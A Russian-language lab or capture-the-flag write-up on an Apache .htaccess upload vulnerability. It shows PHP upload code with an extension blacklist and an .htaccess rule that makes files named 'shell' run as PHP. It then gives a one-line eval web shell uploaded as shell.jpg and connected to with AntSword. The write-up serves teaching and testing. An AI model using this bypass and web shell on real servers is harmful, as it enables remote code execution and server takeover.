Уязвимость загрузки файла .htaccess
Уязвимость загрузки файла .htaccess

принцип .htaccess

Файл .htaccess — это файл конфигурации сервера Apache. Он в основном отвечает за настройку веб-страниц в соответствующих каталогах, то есть за размещение файла, содержащего одну или несколько инструкций, в определенном каталоге документов для настройки веб-страниц. Однако следует отметить, что областью действия файла .htaccess является каталог, в котором он расположен, и все его подкаталоги. Однако, если файл .htaccess также существует в подкаталоге, эффект .htaccess родительского каталога будет таким. перезаписано.

Ниже приведен пример файла .htaccess.

Язык кода:javascript
копировать
<ifModule mime_module>

AddHandler php5-script .jpg
<!-- Разберите и выполните файл .jpg в соответствии с PHP-кодом. -->

AddType application/x-httpd-php .jpg
<!-- Разберите и выполните файл .jpg в соответствии с PHP-кодом. -->

Sethandler application/x-httpd-php
<!-- Разберите и выполните файлы в этом каталоге и подкаталогах в соответствии с файлом php. -->

</ifModule>
<!-- Этот метод сопоставления не рекомендуется и может легко привести к случайным травмам. -->


<FilesMatch "muma.jpg">

Sethandler application/x-httpd-php
<!-- будет соответствовать muma.jpg Файл анализируется и выполняется в соответствии с php. -->

Addhandler php5-script .jpg
<!-- будет соответствовать muma.jpg Файл анализируется и выполняется в соответствии с php. -->

</FilesMatch>
<!-- Этот метод сопоставления более точен и не вызовет большого количества случайных травм. -->
  • Инструкции по установке: Сопоставьте все файлы в этом каталоге и подкаталогах с типами файлов PHP.
  • Директива Addhandler: Используйте процессор сценариев php5 для анализа совпадающих файлов.
  • Директива AddType Сопоставьте файлы с определенным расширением с типом файла php.

пример

Давайте сначала посмотрим на исходный код.

Язык кода:javascript
копировать
<?php 
    
if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $ext = pathinfo($name)['extension'];
    $blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
    if (!in_array($ext, $blacklist)) {
        if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
            echo "<script>alert('Загрузка успешна')</script>";
            echo "Относительный путь загрузки файла<br>" . UPLOAD_URL_PATH . $name;
        } else {
            echo "<script>alert('Загрузка не удалась')</script>";
        }
    } else {
        echo "<script>alert('Несоответствие типа файла')</script>";
    }
}

?>

Наш файл PHP-трояна заблокирован черным списком веб-сайтов, поэтому нам нужно подумать, как его обойти. Согласно подсказке вопроса, вам необходимо использовать метод .htaccess. htaccess не находится в файле черного списка. Тогда мы можем напрямую записать файл .htaccess для загрузки, перезаписав локальный файл .htaccess на сервере.

Напишите файл .htaccess. Функция этого кода — обрабатывать все файлы, содержащие оболочку, как файлы php.

Язык кода:javascript
копировать
<FilesMatch "shell">
Sethandler application/x-httpd-php
</FilesMatch>

Загрузите этот файл .htaccess, затем измените расширение нашего файла трояна, состоящего из одного предложения, наshell.jpg, а затем загрузите его.

Язык кода:javascript
копировать
<?php eval($_POST['shell']) ?>

На стойке регистрации видно, что загрузка прошла успешно, затем используйте Ant Sword для подключения и снимите флажок.

boy illustration
Учебное пособие по Jetpack Compose для начинающих, базовые элементы управления и макет
boy illustration
Код js веб-страницы, фон частицы, код спецэффектов
boy illustration
【новый! Суперподробное】Полное руководство по свойствам компонентов Figma.
boy illustration
🎉Обязательно к прочтению новичкам: полное руководство по написанию мини-программ WeChat с использованием программного обеспечения Cursor.
boy illustration
[Забавный проект Docker] VoceChat — еще одно приложение для мгновенного чата (IM)! Может быть встроен в любую веб-страницу!
boy illustration
Как реализовать переход по странице в HTML (html переходит на указанную страницу)
boy illustration
Как решить проблему зависания и низкой скорости при установке зависимостей с помощью npm. Существуют ли доступные источники npm, которые могут решить эту проблему?
boy illustration
Серия From Zero to Fun: Uni-App WeChat Payment Practice WeChat авторизует вход в систему и украшает страницу заказа, создает интерфейс заказа и инициирует запрос заказа
boy illustration
Серия uni-app: uni.navigateЧтобы передать скачок значения
boy illustration
Апплет WeChat настраивает верхнюю панель навигации и адаптируется к различным моделям.
boy illustration
JS-время конвертации
boy illustration
Обеспечьте бесперебойную работу ChromeDriver 125: советы по решению проблемы chromedriver.exe не найдены
boy illustration
Поле комментария, щелчок мышью, специальные эффекты, js-код
boy illustration
Объект массива перемещения объекта JS
boy illustration
Как открыть разрешение на позиционирование апплета WeChat_Как использовать WeChat для определения местонахождения друзей
boy illustration
Я даю вам два набора из 18 простых в использовании фонов холста Power BI, так что вам больше не придется возиться с цветами!
boy illustration
Получить текущее время в js_Как динамически отображать дату и время в js
boy illustration
Вам необходимо изучить сочетания клавиш vsCode для форматирования и организации кода, чтобы вам больше не приходилось настраивать формат вручную.
boy illustration
У ChatGPT большое обновление. Всего за 45 минут пресс-конференция показывает, что OpenAI сделал еще один шаг вперед.
boy illustration
Copilot облачной разработки — упрощение разработки
boy illustration
Микросборка xChatGPT с низким кодом, создание апплета чат-бота с искусственным интеллектом за пять шагов
boy illustration
CUDA Out of Memory: идеальное решение проблемы нехватки памяти CUDA
boy illustration
Анализ кластеризации отдельных ячеек, который должен освоить каждый&MarkerгенетическийВизуализация
boy illustration
vLLM: мощный инструмент для ускорения вывода ИИ
boy illustration
CodeGeeX: мощный инструмент генерации кода искусственного интеллекта, который можно использовать бесплатно в дополнение к второму пилоту.
boy illustration
Машинное обучение Реальный бой LightGBM + настройка параметров случайного поиска: точность 96,67%
boy illustration
Бесшовная интеграция, мгновенный интеллект [1]: платформа больших моделей Dify-LLM, интеграция без кодирования и встраивание в сторонние системы, более 42 тысяч звезд, чтобы стать свидетелями эксклюзивных интеллектуальных решений.
boy illustration
LM Studio для создания локальных больших моделей
boy illustration
Как определить количество слоев и нейронов скрытых слоев нейронной сети?
boy illustration
[Отслеживание целей] Подробное объяснение ByteTrack и детали кода